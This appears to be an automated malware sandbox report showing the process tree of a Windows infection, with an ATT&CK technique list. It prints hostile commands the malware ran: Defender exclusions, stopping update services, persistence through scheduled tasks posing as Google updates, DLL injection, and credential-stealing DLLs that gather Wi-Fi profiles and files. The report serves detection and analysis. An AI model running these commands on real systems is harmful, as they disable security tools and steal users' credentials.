C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
5⤵
PID:6228

C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
5⤵
PID:6812

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 6920 -s 904
4⤵
- Program crash
PID:6652

C:\Users\Admin\AppData\Local\Temp\kos4.exe
"C:\Users\Admin\AppData\Local\Temp\kos4.exe"
2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:6240

C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
3⤵
- Executes dropped EXE
PID:7108

C:\Users\Admin\AppData\Local\Temp\is-BGFIA.tmp\LzmwAqmV.tmp
"C:\Users\Admin\AppData\Local\Temp\is-BGFIA.tmp\LzmwAqmV.tmp" /SL5="$8023A,3180872,140800,C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
4⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
PID:6196

C:\Program Files (x86)\Media Device 11.1.0.1\MediaDevice.exe
"C:\Program Files (x86)\Media Device 11.1.0.1\MediaDevice.exe" -i
5⤵
- Executes dropped EXE
PID:1964

C:\Windows\SysWOW64\net.exe
"C:\Windows\system32\net.exe" helpmsg 1
5⤵
PID:6740

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 helpmsg 1
6⤵
PID:7104

C:\Program Files (x86)\Media Device 11.1.0.1\MediaDevice.exe
"C:\Program Files (x86)\Media Device 11.1.0.1\MediaDevice.exe" -s
5⤵
- Executes dropped EXE
PID:5560

C:\Users\Admin\AppData\Local\Temp\latestX.exe
"C:\Users\Admin\AppData\Local\Temp\latestX.exe"
2⤵
- Executes dropped EXE
PID:6376

C:\Users\Admin\AppData\Local\Temp\7EF7.exe
C:\Users\Admin\AppData\Local\Temp\7EF7.exe
1⤵
- Executes dropped EXE
- Adds Run key to start application
PID:6124

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffde1d646f8,0x7ffde1d64708,0x7ffde1d64718
1⤵
PID:5240

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffde1d646f8,0x7ffde1d64708,0x7ffde1d64718
1⤵
PID:5844

C:\Users\Admin\AppData\Local\Temp\92BF.exe
C:\Users\Admin\AppData\Local\Temp\92BF.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
PID:6320

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
2⤵
PID:6752

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 6752 -s 572
3⤵
- Program crash
PID:6444

C:\Users\Admin\AppData\Local\Temp\9C16.exe
C:\Users\Admin\AppData\Local\Temp\9C16.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
- outlook_office_path
- outlook_win_path
PID:6756

C:\Users\Admin\AppData\Local\Temp\A0CA.exe
C:\Users\Admin\AppData\Local\Temp\A0CA.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:6820

C:\Users\Admin\AppData\Local\Temp\A763.exe
C:\Users\Admin\AppData\Local\Temp\A763.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:6976

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 6976 -s 784
2⤵
- Program crash
PID:5608

C:\Users\Admin\AppData\Local\Temp\AEF5.exe
C:\Users\Admin\AppData\Local\Temp\AEF5.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
PID:7144

C:\Users\Admin\AppData\Local\Temp\ea7c8244c8\Utsysc.exe
"C:\Users\Admin\AppData\Local\Temp\ea7c8244c8\Utsysc.exe"
2⤵
- Checks computer location settings
- Executes dropped EXE
PID:5916

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /k echo Y|CACLS "Utsysc.exe" /P "Admin:N"&&CACLS "Utsysc.exe" /P "Admin:R" /E&&echo Y|CACLS "..\ea7c8244c8" /P "Admin:N"&&CACLS "..\ea7c8244c8" /P "Admin:R" /E&&Exit
3⤵
PID:6732

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Y"
4⤵
PID:6556

C:\Windows\SysWOW64\cacls.exe
CACLS "Utsysc.exe" /P "Admin:N"
4⤵
PID:7036

C:\Windows\SysWOW64\cacls.exe
CACLS "Utsysc.exe" /P "Admin:R" /E
4⤵
PID:6936

C:\Windows\SysWOW64\cacls.exe
CACLS "..\ea7c8244c8" /P "Admin:N"
4⤵
PID:6644

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Y"
4⤵
PID:5272

C:\Windows\SysWOW64\cacls.exe
CACLS "..\ea7c8244c8" /P "Admin:R" /E
4⤵
PID:6752

C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN Utsysc.exe /TR "C:\Users\Admin\AppData\Local\Temp\ea7c8244c8\Utsysc.exe" /F
3⤵
- DcRat
- Creates scheduled task(s)
PID:4492

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\465dbc52837d81\cred64.dll, Main
3⤵
PID:6216

C:\Windows\system32\rundll32.exe
"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\465dbc52837d81\cred64.dll, Main
4⤵
PID:4372

C:\Windows\system32\netsh.exe
netsh wlan show profiles
5⤵
PID:3152

C:\Windows\system32\tar.exe
tar.exe -cf "C:\Users\Admin\AppData\Local\Temp\811856890180_Desktop.tar" "C:\Users\Admin\AppData\Local\Temp\_Files_\*.*"
5⤵
PID:4980

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\465dbc52837d81\clip64.dll, Main
3⤵
PID:1640

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 6976 -ip 6976
1⤵
PID:6892

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x418 0x500
1⤵
PID:1668

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 6752 -ip 6752
1⤵
PID:5924

C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe
C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe
1⤵
PID:6384

C:\Users\Admin\AppData\Local\Temp\ea7c8244c8\Utsysc.exe
C:\Users\Admin\AppData\Local\Temp\ea7c8244c8\Utsysc.exe
1⤵
PID:2616

C:\Windows\system32\BackgroundTransferHost.exe
"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
1⤵
PID:4492

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:6432

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
1⤵
PID:6268

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
1⤵
PID:1404

C:\Windows\System32\sc.exe
sc stop UsoSvc
2⤵
- Launches sc.exe
PID:5008

C:\Windows\System32\sc.exe
sc stop WaaSMedicSvc
2⤵
- Launches sc.exe
PID:2296

C:\Windows\System32\sc.exe
sc stop wuauserv
2⤵
- Launches sc.exe
PID:3764

C:\Windows\System32\sc.exe
sc stop bits
2⤵
- Launches sc.exe
PID:2756

C:\Windows\System32\sc.exe
sc stop dosvc
2⤵
- Launches sc.exe
PID:948

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nvjdnn#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
1⤵
PID:5784

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
1⤵
PID:4336

C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
2⤵
PID:6388

C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
2⤵
PID:4632

C:\Windows\System32\powercfg.exe
powercfg /x -standby-timeout-ac 0
2⤵
PID:7072

C:\Windows\System32\powercfg.exe
powercfg /x -standby-timeout-dc 0
2⤵
PID:6408

C:\Windows\System32\schtasks.exe
C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"
1⤵
PID:768

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
- Executes dropped EXE
PID:5268

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 6920 -ip 6920
1⤵
PID:5216

C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe
C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe
1⤵
PID:2892

C:\Users\Admin\AppData\Local\Temp\ea7c8244c8\Utsysc.exe
C:\Users\Admin\AppData\Local\Temp\ea7c8244c8\Utsysc.exe
1⤵
PID:3596

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
1⤵
PID:6748

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
1⤵
PID:7012

C:\Windows\System32\sc.exe
sc stop UsoSvc
2⤵
- Launches sc.exe
PID:4556

C:\Windows\System32\sc.exe
sc stop WaaSMedicSvc
2⤵
- Launches sc.exe
PID:6052

C:\Windows\System32\sc.exe
sc stop wuauserv
2⤵
- Launches sc.exe
PID:5404

C:\Windows\System32\sc.exe
sc stop bits
2⤵
- Launches sc.exe
PID:6948

C:\Windows\System32\sc.exe
sc stop dosvc
2⤵
- Launches sc.exe
PID:6972

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
1⤵
PID:6448

C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
2⤵
PID:6464

C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
2⤵
PID:2056

C:\Windows\System32\powercfg.exe
powercfg /x -standby-timeout-ac 0
2⤵
PID:368

C:\Windows\System32\powercfg.exe
powercfg /x -standby-timeout-dc 0
2⤵
PID:1168

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nvjdnn#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
1⤵
PID:4704

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe
1⤵
PID:6396

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:6244

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery